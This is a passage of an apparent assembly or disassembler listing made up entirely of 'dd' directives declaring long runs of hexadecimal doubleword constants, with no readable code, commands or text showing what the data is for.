175512EFh, 71D0E6F2h, 0E9039DFCh, 0D67F7D67h dd 285ECECDh, 4A710BD9h, 0C8F1F395h, 3319A139h, 17FC3DB4h dd 0C53F21ABh, 0E050078Fh, 953BF6DAh, 0AC96F404h, 62181C6h dd 8FF4803Fh, 0F0FC17h, 0FF221291h, 3AD9D31h, 5BB75B80h dd 88B7B21Ch, 0DF60252Fh, 7D65E6E2h, 0D549FD96h, 0E9BD5E61h dd 63515DD3h, 9A5528Ah, 8AB350C8h, 0F07493B5h, 9300955h dd 0A6F66527h, 5C8AA9D5h, 4F73E9C4h, 847B5A51h, 0A2C5B895h dd 396E296Bh, 78FDF94Fh, 7A606EADh, 9720E2BFh, 8017835Ah dd 405ECCC7h, 6EAA4E38h, 900800B3h, 277CFB03h, 655312B1h dd 0A11E0B2Ah, 0DD09DDF9h, 0DAF55E0Dh, 1BAB57Fh, 0ED1F5D1Bh dd 63D9DE92h, 0C496EC00h, 1F3BD8D4h, 0FC0573E5h, 8B17339Eh dd 0AD5F2E9h, 40C64EEh, 5EAD9A54h, 0D6F2A821h, 13A06DA6h dd 2024BDFFh, 0F8991D5h, 0C00A7411h, 900DF780h, 50FD8A00h dd 0A7121EBBh, 6E3BF37Eh, 83A24BDAh, 9D294060h, 0C91288Dh dd 3D951B3Ch, 2786767Bh, 54FC0BBBh, 5759BDDEh, 9983E30Ah dd 918B908h, 0DD071B3h, 0C1C54DB5h, 0E9A3A928h, 0EBD8F810h dd 12A7795Ch, 2BF23041h, 657DBB02h, 77C104Dh, 0FE607C9Fh dd 0F8DF768Bh, 803CA08Ch, 0B8684BCFh, 0D1312508h, 2B98B1Eh dd 3FFCD976h, 40813845h, 0A518682Eh, 3B23AAh, 0B3858E5Ah dd 9784E302h, 7969B2DCh, 8176A738h, 365B5C1h, 5BE2CB2Bh dd 0DDA83EBDh, 0CE44EA48h, 37D1AB54h, 29983C6h, 62F09EC1h dd 8102F198h, 0E3E782C7h, 51107467h, 20DE6FC5h, 16FE56C0h dd 6F13B340h, 0DBDB026Ah, 4D220880h, 0D80435BAh, 94A25B2h dd 31C781BCh, 585AD28Bh, 800B220Ah, 51EC7B78h, 0B9181Dh dd 1253E8E6h, 0DE37195Ch, 5AB050E6h, 55C9CB09h, 1C60795Fh dd 3AF66479h, 7A579D5Ah, 1E00186Ah, 22EFAD4h, 0CB24A4D0h dd 7D272560h, 97E9F9A2h, 852C755h, 0B309BB47h, 72AA5358h dd 92A5A55h, 0E7A49C36h, 0BF8051D1h, 10984A7Ch, 5AB3A190h dd 0F32F50C1h, 0DB6E004Fh, 0D02AEE6Ch, 90812DDCh, 167892C2h dd 5C058997h, 0EC09FC8Dh, 0D277520Ch, 0F7CF9D14h, 0F4F5AC60h dd 313A391Fh, 0BD5E5189h, 0A4150D0h, 372FB371h, 23D6FE3Ah dd 2EEE6A7Bh, 0BF5E4B95h, 21F84D65h, 0AF31F585h, 0C7EF4628h dd 9B0FC83h, 9177B955h, 70E600E6h, 810271E4h, 428610D7h dd 905B5D31h, 0B5E38004h, 2860F3BCh, 733E2EF3h, 5129BA51h dd 6064F856h, 0B52C017Eh, 72A5CDF5h, 6E158087h, 135309F7h dd 0D2784DB6h, 0DA015FB0h, 0D7EFC381h, 22F16B3h, 4B5BDD5h dd 28CF8110h, 7783F493h, 3565A8E9h, 0EF27D219h, 5A5486D6h dd 3A1AF2FEh, 0B7124399h, 1C9CF460h, 710D4484h, 80DA5539h dd 3457DB07h, 0A6066CFh, 45E9244Fh, 0D2D39D78h, 4BA7F352h dd 8A31A288h, 584D625Fh, 9D329752h, 15B5F002h, 5D95CA0Eh dd 7512FB26h, 8705A808h, 0C62E96C6h, 65121CD1h, 0A1F65B25h dd 613A0F10h, 6A4F9520h, 0F15AA62Ah, 0AC2A5305h, 0B9DFC2C3h dd 271B5EF8h, 1DC85F4h, 0EAD44EA0h, 6B1565A4h, 555741D2h dd 0A00BA290h, 0A75059FCh, 0E1B55B89h, 312C4D27h, 0FCDCA94Ah dd 5BD40065h, 0F5681DFDh, 8B09D22Bh, 0FF2F35BDh, 90B6ACCh dd 5E0A4D95h, 6BF9D91Fh, 0B5B82BBDh, 3A4B73F8h, 1D8847DAh dd 5D8705C1h, 0D3ACFC6Ah, 26D26BBEh, 3C05117h, 25EAF33Eh dd 41E630B3h, 3CD46053h, 46250077h, 0BEF4F802h, 7FAE38E5h dd 31546127h, 95FAF85Ch, 3624C0B7h, 0C9B81B16h, 931FE2D2h dd 9B6A4FE1h, 9553C180h, 0F33B821Ch, 20B3137Eh, 0F7293109h dd 4BCA2298h, 112EB597h, 0FD6801Bh, 9D8DA22h, 0F80553D1h dd 0FBE9665Eh, 0AA9853DFh, 0F40CA722h, 0AEE1FFF5h, 0C6EE25DFh dd 0A0B0FE5h, 0F4685604h, 0BD043F7Bh, 0FA0F3EE7h, 0F6A30DBCh dd 0B2605109h, 0D5CC821Eh, 715523h, 573FA9C4h, 99272CACh dd 2C7CC0Bh, 5046191h, 47A0C860h, 71F5684Ah, 2DF02026h dd 0C0163C0h, 8EB3AC1Bh, 527A8D29h, 6ADBB19Ah, 0AFB45812h dd 0F0EF93E6h, 0BB00776Dh, 899E6C6Bh, 0BD54EB45h, 9AEF4968h dd 0BFF51895h, 0BEE38B6h, 60AA8DCBh, 0D84ECE98h, 5C4851B6h dd 1DCA484Eh, 840D680Fh, 53F2B409h, 98F35402h, 0F15D1878h dd 4481980Fh, 1502DFF2h, 0A58D314Ch, 0D916D50Ch, 53B5BFh dd 5152CEC9h, 81035AFBh, 0A8719BC7h, 25F47714h, 7BF04147h dd 2BB90C4Ah, 0E9D8E0D8h, 4F02112Fh, 0D126401Fh, 0D92C0191h dd 8FCB0775h, 6FABF228h dd 1B23F3h, 0B2705D92h, 5690628Dh, 4F0739Dh, 0AF2CFDB5h dd 0E8C70374h, 0A6BAD3E4h, 66E9A4B9h, 0D114FE80h, 3A17B217h dd 7E0592D6h, 6BAFDEB7h, 1D2310h, 834A1739h, 3F09132Ah dd 5FE5EAF7h, 0C09C9591h, 0B816538Eh, 0B0045864h, 5B002149h dd 0F0E28160h, 37262318h, 0B51031E4h, 331210E4h, 2D56C19Dh dd 1AAC00E9h, 56C53F8Ch, 9CA44301h, 2EFA8A72h, 81A66812h dd 40DD39E2h, 5F8A50C5h, 958BB4DAh, 7B04ED25h, 0AD0FA447h dd 0B10CDD4h, 0E2A9680Fh, 525084E2h, 0CB07BF46h, 5769CF5Dh dd 30E161E0h, 0A9F4094Fh, 7D59310Fh, 0DB19B800h, 85671h dd 0D882984Dh, 0EECB6229h, 6F0CF04h, 88EBFA58h, 211A562Fh dd 0DFA07B7Ch, 0F0A68F65h, 0BD159560h, 0E7BE3DCEh, 0F69390AFh dd 65F58FDAh, 0ACDE8066h, 508D120Ah, 84CDD195h, 0BD90FB8Bh dd 25EFB86Ch, 1DDB0CAEh, 7FF93A5Ah, 84ADECF9h, 8FC161C5h dd 46B3298h, 0ACFF7169h, 0BFCB0DCh, 0A6D25BDh, 4FC47F71h dd 31B756F7h, 41F25418h, 11235C9h, 607740E9h, 0FDD77DE1h dd 815B3041h, 11F31E5Ah, 88BF02BAh, 551E2AEAh, 7F01FA37h dd 0F41F6E79h, 716185D1h, 392E17E1h, 0EF5CA702h, 269D4009h dd 8004197Fh, 2F3081B4h, 0B7120D8Bh, 357ABB03h, 0CDA90F17h dd 0D5114122h, 19742E21h, 0BCB40DC1h, 0B49EE66Fh, 0BF4FF7F6h dd 71A65340h, 51BD893Bh, 0B23FA0F9h, 0CB4988FAh, 18F0D2C4h dd 163B9301h, 0ACA4D37Bh, 3584E9F8h, 0AB025B4Eh, 28BFE317h dd 0FD000AAFh, 53557036h, 2E758C9h, 84D7893h, 844D96EAh dd 0A33BEEE0h, 0BD4E9536h, 0CE043525h, 1021BE1Bh, 80600428h dd 0D7C1F4DFh, 0AD5561F0h, 0ECECA6FDh, 52080502h, 55D6A89Bh dd 309B96Ch, 0CE0BA1B5h, 0F2810241h, 4C66E218h, 9DAB6C55h dd 0F197160h, 341C0BC4h, 8009FBB3h, 0DA586FDBh, 0A52B59BFh dd 6740DD42h, 0BA951DFDh, 82B237BEh, 19F0E81Dh, 269D756h dd 5729C1ACh, 93415AEFh, 7CF0E452h, 63850ABEh, 8DD4D83h dd 0BF011C41h, 242556F8h, 0B752EE58h, 0F188A1D3h, 815B1215h dd 2F189A9Bh, 77A8DCA2h, 364F118h, 8313A992h, 6875CCE5h dd 0CF57EC02h, 5FD14D63h, 2F7B3D80h, 0C4B55B5Fh, 6152DA2h dd 57CEF6h, 0E8CFD6E1h, 6D5C8E72h, 79B50942h, 6BFF591Eh dd 0BE3FCAB5h, 613E80FAh, 7C38BF25h, 0F80A4FA4h, 0E70221ABh dd 0BA170E33h, 270B2B6Fh, 21DF8501h, 6FBF9649h, 24AD4E4h dd 4274BB50h, 28745462h, 0DCA5E308h, 0B8091646h, 0A2F739D7h dd 751BF151h, 0EA405FEFh, 948C085Fh, 92C24ABh, 0D17116A1h dd 0D7322162h, 17A1C03Ah, 2B5F5EDCh, 0B478E328h, 8C0FF67Fh dd 0C9966C43h, 5190FF9Ah, 4F007B62h, 10C54A09h, 0CFEEB17h dd 0FAA8AF51h, 5B4BF9C4h, 7A29129Dh, 60113A8h, 0D87B5C9h dd 43AAD34h, 0B8BA9096h, 8D0F1712h, 0BB60E990h, 0C5CF1D23h dd 0FE61963Fh, 8680973Ch, 30659D10h, 0AE6AE912h, 639B4F12h dd 7CC52E80h, 0C45A13C9h, 33023603h, 0E4CCBDh, 80F691C1h dd 28A5663Ah, 3326227Eh, 0ED113B51h, 0D86C5F25h, 69AA5895h dd 0E8A4C975h, 5061051Ch, 6AED75B9h, 0AB0B51ECh, 24FD9529h dd 99EA6AA6h, 0AD7BE257h, 184E2978h, 0D01E0E83h, 0B4DC9FAh dd 23E857h, 961EA16Eh, 9F891F6h, 34D8517h, 5DAE3294h, 0BBD9970Bh dd 46861A05h, 0AD398F51h, 5065F67Fh, 879ADF6Bh, 5C5FF925h dd 0D90CF4C8h, 52999BE9h, 0BB059DDAh, 0A674AE2Eh, 1897C2BEh dd 91AC37D7h, 56128017h, 1203902Bh, 0AE022DBDh, 613F4134h dd 240DF84Eh, 25394711h, 71415C02h, 80D872BAh, 0F9E7CE84h dd 11F400F7h, 64C8FDBCh, 3012FE68h, 419B026Ah, 69A0A48Fh dd 0D026640Eh, 60901812h, 0A83620AAh, 5300EB7Ah, 0A2B48B87h dd 0B64A10h, 6BD5F1F6h, 9FD24E76h, 140195Ch, 8A5AC89Eh dd 0E23F61E2h, 52B34EE7h, 0EF585A7Fh, 0F408066Eh, 0F304B4A0h dd 9AAB581Eh, 0C01AC861h, 0C127CC0Ch, 0A25A58BFh, 0F9A25FE3h dd 0BD567DE9h, 82CA0470h, 361354DBh, 0AFE4B8A6h, 0A11BFA20h dd 0EB8329C1h, 710B80F8h, 0C26950E6h, 4E962600h, 29D05D32h dd 4A7F902Ah, 0EFDACDD8h, 0A95755BAh, 6F7421h, 579AB9C3h dd 614F3877h, 1809096Fh, 0BAFFD811h, 4E72BBh, 0ABA57B70h dd 22AD77CFh, 0F401D4E0h, 230BB31Ch, 642B1490h, 59FDB0E1h dd 64AE5C5Bh, 386BBFFAh, 0C08CF85Eh, 6CE62ABBh, 2960041Ah dd 0E0DDDB5h, 595A2056h, 0FDFF6A61h, 0CCEB9E44h, 0D700074Eh dd 242C214Eh, 4B32C4h, 1E9D40C9h, 0B59998BAh, 2561572Eh dd 0EF19D50Bh, 74F40F2h, 909B819h, 710B7595h, 12B4F1Ah dd 0B047B5D6h, 57EF8001h, 150CD32Bh, 0A2FE248Ch, 31AA5A6Dh dd 30FAB7A7h, 6BF5058Ch, 89D8B28Ch, 0F8A23AF8h, 542D7D10h dd 0FE5AD4ACh, 0DF7928BFh, 0DA258200h, 2FEC8021h, 677A2C2Ch dd 4CA722CBh, 311266F0h, 0D908BC2Eh, 0B3A58184h, 48873669h dd 2B30F854h, 8BDB0AC8h, 10519FD1h, 0C480E98Bh, 1B712105h dd 0E4105527h, 562E9925h, 1110F903h, 0D681B15Ah, 6B8C3340h dd 125FBC37h, 0B72FCC0Bh, 66B59B50h, 290E4490h, 8D563BFDh dd 0BF9088FEh, 388DDF4Bh, 8C3882Eh, 0D03E200h, 79822B58h dd 88F64B8Bh, 64A81C47h, 1497020Dh, 0F98A2847h, 626D82A1h dd 0C13256CAh, 7F0B4B07h, 6100086Fh, 0AB2903DEh, 0BEB3F833h dd 24C68AD8h, 0B1D33E8h, 0C25C2E69h, 880E8650h, 21BC8960h dd 1DA98D61h, 0AF876102h, 0CD5D0911h, 7110C00Ch, 1A14BABFh dd 11AC1C78h, 0E117287Dh, 0D2ECE1FCh, 8AE00CCDh, 141E336Fh dd 0C6770D70h, 6FC02B16h, 5A9800AFh, 7CC71FF7h, 1B7F4F3h dd 0BD22BA4h, 2E0C919Dh, 207A766Dh, 0C36FDA5Dh, 1869D604h dd 5F85E7ECh, 95694AAh, 852B5FEh, 76880D25h, 0D905F610h dd 8C27D1C4h, 2041E1AFh, 791DE80Dh, 0CB416143h, 9BAE728h dd 1007F23h, 54ED345h, 0EA13F502h, 8ECC777Bh, 67D70581h dd 0BF7F6E28h, 0A6D2BF9Ah, 0F4EE02B4h, 60787E3Eh, 8202ADF2h dd 95568156h, 0FD00BFC4h, 9CA592DDh, 49CFBDh, 1554E23h dd 6AA34FB5h, 3FAB7B7h, 9B8DB5AFh, 91CA5F4Ah, 0D99D3522h dd 26B89CB0h, 0F1D150B7h, 4C20BE03h, 0B1D4F249h, 302EE3ADh dd 11850151h, 5BD452B7h, 13BB08E1h, 0FD9D0904h, 10AACFEAh dd 1BF803E9h, 0EBA7008Ch, 532F796Eh, 8B25E84Bh, 1140C5FBh dd 8D8904D2h, 39AE15F9h, 2740FF2Eh, 1C4B6187h, 4A28D75Ah dd 2D1B56E5h, 0B40AE537h, 250985AAh, 99355728h, 0BA961811h dd 89094CD5h, 213572DBh, 1BF1013Eh, 86FECC18h, 76595204h dd 0E7BF5D5Ch, 38D3F093h, 0A6976432h, 0D04AB8FAh, 199517ABh dd 0FB889DA8h, 2076D8B9h, 990B7617h, 0BF823524h, 96422504h dd 918092A8h, 1963BB2Fh, 9F3C2C07h, 0E69086C3h, 0B1DAB68h dd 0FC8A2AB8h, 541E73F8h, 6D6DA71Eh, 53FBC057h, 0F109F417h dd 0FFF557CBh, 0CCA52335h, 33A000FBh, 20DD2BF9h, 909F5635h dd 123F75EBh, 0E1B6AE79h, 9CBD2B70h, 0F4002DE8h, 0D10209F7h dd 0ECD87F5h, 1BBE97Eh, 0B5DBBE13h, 0B1C43980h, 23246A52h dd 1E929961h, 0DC4A8DE7h, 0FD46535Eh, 652EEF7Ah, 0A815123Ah dd 5BF92582h, 18165962h, 0F7984CC1h, 0E060C702h, 0F2563057h dd 7519042Ch, 0C86A9673h, 4C27F819h, 61A17901h, 6C504A0Bh dd 8C16C0F0h, 398B310Eh, 0D99C70AEh, 0DB96525Bh, 6888269h dd 4B9057A0h dd 72784526h, 19BDEE02h, 0E4810FF6h, 20E497DBh, 0F051CB9Fh dd 0B523DEh, 0D4622899h, 4A47EBAEh, 0BC85D328h, 5F0EC612h dd 0D94042E3h, 682340C5h, 96F2880Eh, 70A729B3h, 11773D12h dd 1BED4CA7h, 89E386C0h, 8469BD95h, 1756356h, 0B67BCBA5h dd 0F66FC245h, 47D909C6h, 4E8B7798h, 0C08214F5h, 0D87BE5A0h dd 0E427DE88h, 206CD0E0h, 5F2D0DE9h, 0F6195450h, 90540613h dd 0BD1248F8h, 0B238E6B7h, 25EF301Dh, 8D15A500h, 0D7DDE07Bh dd 0D2C7A084h, 9F9A92D8h, 0BD9A70CBh, 0A4EB6DFFh, 239D0997h dd 2DC43E71h, 1F268256h, 392E135Bh, 2EB102DCh, 0F6F79B8Fh dd 791C9D55h, 0B88929F8h, 0BF683B5Bh, 2192F33Fh, 0B2E6124Ah dd 7E888815h, 4C021846h, 2E989985h, 5B6BE096h, 0A7B7574Ch dd 65EAB393h, 272AE046h, 7AA3DB9Fh, 0D5CB8674h, 5C977844h dd 0DA8A4291h, 8B59B155h, 0C7F58C3Bh, 0FCB38D2Dh, 46357A18h dd 4E25968Eh, 0F5C18783h, 0CDBB6670h, 0E1504C13h, 95D961C0h dd 0DA001A9Ah, 0C3E70820h, 175C5E0Eh, 0E696E6A5h, 254E2EAh dd 0BD142141h, 2E308E61h, 16522573h, 0B8176D32h, 83E9A2D1h dd 0F066C82Fh, 2651B7h, 0C98D437Bh, 0B42146C2h, 0FDF5F025h dd 0ED5FA089h, 0C53A4B6Dh, 954ED07Dh, 0E44E218Bh, 59B3CA00h dd 527617B5h, 0EA9502A9h, 6AA6809Bh, 9E518742h, 405F2B1h dd 792FAC04h, 2E4ED1FEh, 292C3FAAh, 9F3F5215h, 0C68360D4h dd 879E558h, 205BD5Ah, 54E36112h, 2582F85Eh, 0A9125B0Bh dd 0D8728005h, 0CB4E6179h, 0E7A9EA4Bh, 0BD09A2D8h, 0EA1CFD29h dd 3FEEFC4Bh, 0E99A3EADh, 22183781h, 0AB0A9250h, 0EC5FE0A9h dd 0B4E85B93h, 70F713AAh, 8D8212BDh, 82091305h, 0D5146516h dd 1591CBB7h, 0B65C4686h, 0DACADA4Ah, 0DC735D2Fh, 91BEF087h dd 9AFA6830h, 80740369h, 0E78111B9h, 405AC5E0h, 1988BEB0h dd 0B300B0D3h, 986F29DFh, 2FD7CE34h, 0C020807Fh, 585A5F57h dd 988DA1A4h, 0F4BF8E0h, 62BEB482h, 0CF4E3F31h, 5FF9BD38h dd 9DA08BECh, 51811811h, 5F29CE3Ch, 44D0251Dh, 875390B7h dd 0E5720909h, 0D559DDC4h, 4B09E8A6h, 4BD3599Dh, 0FE255956h dd 0AE00DE1Dh, 311246B5h, 5EB8E2E7h, 9676C8FDh, 68D51C00h dd 59B5E3A9h, 0CD9A9557h, 0D2CDC784h, 4A7CC63Ch, 961909F4h dd 0BB59E20Fh, 89B52961h, 9A25486Dh, 7B5DB562h, 0FA657092h dd 0D5017502h, 5EC18B3Bh, 0BD2960E0h, 6EB523EDh, 1D82959Bh dd 0C84898B9h, 0FFBA043Ch, 46880F2Dh, 0DA695FD9h, 0C01B88CFh dd 1E254EB3h, 573BB204h, 2B840314h, 0E95B04ACh, 0E0E83Fh dd 0CCD8EF32h, 9E763BB3h, 2482E0CFh, 44FB060Bh, 0BBFC05F4h dd 89E81382h, 0D90FF6Bh, 761CBB52h, 5F9A9426h, 37810B72h dd 0BB408124h, 0C8A64F72h, 789F428Ah, 1459BDEBh, 0D9648947h dd 81948EBCh, 604C9A00h, 0B1BD33FCh, 614A4492h, 2466FAAh dd 33A7F752h, 2DF97056h, 0CEF6961Ah, 0C15A96D6h, 0D1EE777Ah dd 0ACBCC3C7h, 0A5C4D6C2h, 806D9EFFh, 94D8276Dh, 3CE61215h dd 0E44F4419h, 0A2A3AC88h, 55C59Fh, 0B8483A24h, 0AC005083h dd 0DAC5B4F4h, 1277F541h, 0E6026AD3h, 0F565E0D8h, 127276B3h dd 0D28E0F90h, 0DA826078h, 0F1D1758Bh, 3BF22600h, 0C8BD97h dd 888443A4h, 905061CAh, 51BE9095h, 0EE06001Eh, 0EB0F955Ch dd 0CD3A61D6h, 0B5700028h, 8B3C58E8h, 4AFEC74Bh, 5F6742FCh dd 914C3555h, 61238E16h, 758D315Ah, 4AE98374h, 1088CE63h dd 0C24FD88Ch, 0CC0B31A6h, 0D9BF26F3h, 6801DE56h, 2B2AAB7Ah dd 712B7334h, 1509B176h, 22DB20AFh, 9A3F3DD3h, 48F08332h dd 0F85AAC4Eh, 7796CD2Fh, 2411059Bh, 0EAD78B60h, 0C05B3AC2h dd 0B7905F94h, 4480C851h, 0B8F2256Ah, 6F0500EDh, 0DA490484h dd 0EE042DBDh, 0F55FAF79h, 0A74B89ADh, 88EFB598h, 0E63AF8D9h dd 8FEB82B9h, 0FC34CCFFh, 25772E94h, 4F5FA242h, 32E3C0B2h dd 0A83C9780h, 701D12B2h, 0F72FC1B5h, 14BCA5CDh, 0DDB7EB02h dd 3757FF6Ah, 122F00C9h, 0BBDC62A0h, 3C481E17h, 10D0F04h dd 0F4A292ACh, 0B0647456h, 23F93290h, 45529D9Dh, 8070E601h dd 71E413DBh, 0D7804B2Bh, 3993F2F9h, 7FE227AAh, 0DD88FAF6h dd 86AB3BAh, 97262665h, 2E311031h, 7986B37Fh, 0AC262921h dd 0C82B84F7h, 6391FEF8h, 0C19617C9h, 0C5C6F894h, 28C17690h dd 5FC54C44h, 0CA80572Ch, 2EB20379h, 96AC0A00h, 0A6953D84h dd 57A77D5h, 0D03CCF6Ah, 3390BF5Eh, 860659BDh, 108261B1h dd 0E41DB4ACh, 2974F132h, 7F99950Bh, 0FE8B100Dh, 0F4160E9h dd 11BDB509h, 0CB5D6EB5h, 9E704570h, 400C5195h, 4758529h dd 84BC4595h, 240E2195h, 0CB817C00h, 12B9650Ah, 0B685B75Ah dd 5C1F097Fh, 78137B0Bh, 0DB389E6Eh, 0D98F983Ch, 8811E8E0h dd 58E483AEh, 0BBD29200h, 9D1AEFE4h, 7F1C3860h, 6DC0B8A5h dd 748203D5h, 1EBF015Ch, 2B2120CEh, 0C7C57E34h, 0B9EB42EBh dd 85930F9Dh, 0CDDF3092h, 7AB8491Eh, 0BA0065E3h, 0C4F3C09Dh dd 978B0F53h, 0E6E0167Ch, 0D2A678h, 378EDC67h, 3B6628BDh dd 8074FB01h, 0FC5B38CBh, 0E0FDF62Fh, 0E1995Ch, 7EDF2B8h dd 0FD8AE647h, 7EBD232Fh, 0BF70BFC6h, 3480BE3Dh, 198CD795h dd 3B860BC7h, 3B77FBDBh, 9128A77h, 6F978FD0h, 0CCAE4075h dd 7202CE29h, 0E1C98A64h, 0FDD44008h, 0CAB6950Bh, 0B354EEAAh dd 6C6614Bh, 0C845DB6Ah, 22EDC017h, 2B70EC0h, 568D3932h dd 0BD7D2D98h, 5C6C007Ch, 9112E653h, 0AF939595h, 0D36BE5FCh dd 2B4671CFh, 8A277E28h, 9D02129Ah, 6E550CD1h, 951FB025h dd 0D040ECF1h, 152AE9Dh, 0E1FFF9F1h, 2B85F380h, 86D47028h dd 82B5B5h, 85E7DA3Bh, 0CA1C4382h, 52C40D95h, 5EBD9D33h dd 0B213EC5Bh, 258229B5h, 7656ABC7h, 0FBD26E51h, 0FC9BD1FFh dd 8F047030h, 60F876CDh, 0EFE573E6h, 756C0DD0h, 0F9A124E3h dd 0EAFB1267h, 0DE52E016h, 1969BAA1h, 0B90483B8h, 0A82AD6C2h dd 1BA12381h, 129A63Bh, 6B867782h, 92B4889h, 985451C9h dd 5A5BEA09h, 0F3FD4AACh, 0D7B812F3h, 31044EA3h, 0AA01118Dh dd 55302FDDh, 901340CDh, 6F807FB1h, 0EE8650BDh, 654716DCh dd 7471A0D6h, 0E490AC25h, 8DDB1463h, 218A51F1h, 9D0B0984h dd 680693DAh, 0A6B1BB3Fh, 0D1512FB6h, 48C0E080h, 4497596Dh dd 2C5F61Bh, 93AABEAh, 0BBFEB59Dh, 6635FFA5h, 0E6EC25h dd 0ECC46E3Ch, 0BD03B0F3h, 894F5D65h, 92FD9AFBh, 69738A70h dd 4F527DD3h, 5503BF92h, 9C9B589h, 1C4E963h, 251EBDD7h dd 0ED00CBD4h, 6ABF724Bh, 0BD5ECAAEh, 0DF8180E0h, 3256718Ah dd 546B9A95h, 6E4C2552h, 90DE8B2Dh, 9D4FCBA8h, 42A589E7h dd 0D815D380h, 1F9CA5ABh, 962F7640h, 385890D5h, 75C89E3Bh dd 2113D406h, 79270C7Fh, 5AFE5426h, 6150295Bh, 179213E7h dd 941D887Dh, 0DC076B79h, 995610DEh, 899301C1h, 3512BF68h dd 0D3D8A928h, 0EC0074E2h, 0CB15D35Ah, 31D488Bh, 431D4B73h dd 24122B81h, 122BBF52h, 6BE18DD9h, 5EF0B24h, 0DB243445h dd 0F6F9C0C4h, 27BEFDC2h, 0FBC21114h, 0DB2F9354h, 635DDAA6h dd 0A2BB8C5Ah, 68DE035Bh, 0BA27AE55h, 406660h, 31C9BAA9h dd 67BE084Ch, 18244E13h, 0AA05CBFDh, 0BA0638ADh, 0E7170EB2h dd 0A69EAFCFh, 0B2C7E64Fh, 1F623015h, 0C92588B0h, 4692DD0Bh dd 6B09A1F4h, 1A1CB30Ah, 124FE316h, 6D8B6AB7h, 54A5C227h dd 51775A80h, 0A0942FBEh dd 0E99AA295h, 698D7E1Eh, 4B7777FCh, 9F404A4Dh, 0EA94DE38h dd 8D0B2CE5h, 65E10920h, 0FC5ECC19h, 9A07B443h, 7684D123h dd 10410135h, 6C6E07Eh, 90D5CC8h, 2188612Bh, 7C457C59h dd 0C4399EEBh, 42C17A36h, 0DF4F3049h, 0E7034C12h, 56DFA054h dd 74730B9Eh, 0AEDB2F52h, 7F11498Bh, 88ADD216h, 56BF9262h dd 6D1C096Ch, 0B47BED82h, 85A9C1D5h, 0B0F7E76Ah, 27729AFDh dd 0CAFB4658h, 26181A59h, 0B6A0A602h, 0DE9A9C0Ch, 0DF922779h dd 474E797Fh, 199B406Bh, 3007074h, 56F4951Bh, 3A0F5F5Bh dd 0E2DF5031h, 146E4B8Fh, 41D9B51Fh, 0FB531F63h, 0AED2542Ch dd 0CA1EFF7h, 0C098388Fh, 0B16D2F33h, 76EC0099h, 34A07449h dd 8101A4D6h, 9D890C80h, 78730B41h, 9D1DE117h, 2B823E6Ch dd 0B73BD512h, 0C056F8E2h, 1D46D6h, 9D8A60FBh, 121CE9D0h dd 0BABC3496h, 4E257A30h, 7FA53AC7h, 0D4363902h, 0D756E712h dd 5EE6F769h, 0FC9DE598h, 4118EB42h, 0E4F80B6Dh, 0A209517Fh dd 2C64727h, 7F46EB46h, 2BFCE499h, 0E2FCD917h, 862F1AA6h dd 6B36EFB8h, 0D151C4DFh, 0E75AFE42h, 80FAB4A8h, 55BD9207h dd 7BED3E1Ch, 59E65325h, 0E8D181Ch, 9B4B14C8h, 0E415A2C1h dd 485FEA89h, 5E5096EDh, 0FBBAA48Bh, 8509BFF0h, 0FF604677h dd 0BF04779Eh, 54E1FBD1h, 19A2B2ACh, 0B7827F29h, 0B04A15B3h dd 87A60898h, 0F220A401h, 0F4F69365h, 0AD4F123Bh, 1625C462h dd 0C8189BEAh, 4AD7CB1Dh, 0FCD25DFCh, 0C29533A1h, 4F5B1455h dd 9476FDFBh, 2BFD804Ch, 4A08F0F1h, 2289CA57h, 6B50B548h dd 4A9054Ah, 128C08D6h, 53F02280h, 5A8D3Ah, 1DA8484Ah dd 0D9FC7465h, 7C267EF2h, 72600258h, 0F8C4BAh, 3DB2C0D6h dd 0C76369E3h, 0ABA9E000h, 8D0168B3h, 5A284011h, 8DC0614Ah dd 95C4C780h, 69B27196h, 0E98E9D09h, 9F7058D9h, 76C0E16Dh dd 2F9C74C5h, 0FE08B62h, 799F20E1h, 0EF889C2h, 10DB66DFh dd 5018499Dh, 0DE9FFA39h, 0B284B49Ch, 29AB4E11h, 8122801Ah dd 0DA9A14CBh, 135ADE50h, 25CFE8E6h, 7C2B62E2h, 0AF04DCA8h dd 890F8A27h, 1CC4BBB8h, 0D182FF3Ah, 57C99280h, 0BB408159h dd 6BC6854Dh, 2CE6123Bh, 8A021800h, 28507F27h, 2B341663h dd 0D0B500CEh, 0FEA5E459h, 5FA16B13h, 0EE0024F2h, 142E741Fh dd 5200B8C1h, 5BA5ABEBh, 691EBA4Ch, 25DEE2B9h, 0F4E0FC27h dd 0A0B2C00h, 34455887h, 80E50B65h, 0ECFB46E3h, 51B99D0Bh dd 2D46A55Fh, 7A789080h, 5CD1FF27h, 0F32917BBh, 1C928EAFh dd 0E0996D25h, 60C5DAC1h, 0D8584097h, 0DC024E6Ah, 5E03D3CAh dd 4FBB9011h, 4B67FA93h, 0DBAECC2Fh, 459A824Ch, 149027Eh dd 0ECEDFD09h, 0B638556Bh, 0EC0B1B4Ch, 5747AEF8h, 0C407E89Bh dd 0E9CF51CBh, 5F9C7F59h, 7FE68B27h, 80BE17B7h, 3E74AF2Dh dd 25CA4EFEh, 1837DE8Bh, 5B78EB09h, 0C9950410h, 2312221Fh dd 0B99083FEh, 0ADE47E37h, 45F6E207h, 0C520B502h, 0B1A58A98h dd 7FBF033Eh, 4201227Bh, 4D27F781h, 642A4BDFh, 6C17BEFBh dd 1923CFD9h, 0FEE6E700h, 78355A26h, 51458F12h, 1CB2BAA6h dd 691830h, 0D619DDDAh, 6A2DCBF7h, 0EE9FF11h, 7BD7EA01h dd 0EC3644E2h, 0C448A54Ah, 683D1685h, 45D2D04h, 8A1ACA8h dd 3BF80501h, 649AF715h, 2D0C3D09h, 0F7AB4275h, 70E6F740h dd 0E8AF1995h, 0A9E6C514h, 0BD0B09F7h, 0ED44FF31h, 2D40AE96h dd 467071h, 0C13EE1E7h, 27065902h, 2FEEEB1Eh, 0B29E0745h dd 805E30FFh, 0E2BF22F0h, 2BEF849h, 66D0DB81h, 0FD2855BCh dd 5718F50Bh, 0E6018538h, 0E99EE02Fh, 0F800DE38h, 768A8CE9h dd 0AD570944h, 969847D8h, 554C5005h, 2DC1B347h, 1B7307C0h dd 4F3B0A00h, 0E1ED7CC9h, 0FAEF4406h, 0E028D6B7h, 0AC3A95FCh dd 0DFE09AFFh, 8B257BFAh, 0BFAC46F9h, 8EF8A80Eh, 1B4FAEEBh dd 36F722FAh, 45BDB290h, 0B08A314Ah, 686B1048h, 6109B0EAh dd 0BD04D47Bh, 0DDAF2F15h, 7E877F29h, 0CC147F19h, 0B6BBC13h dd 2200327Ah, 511591DDh, 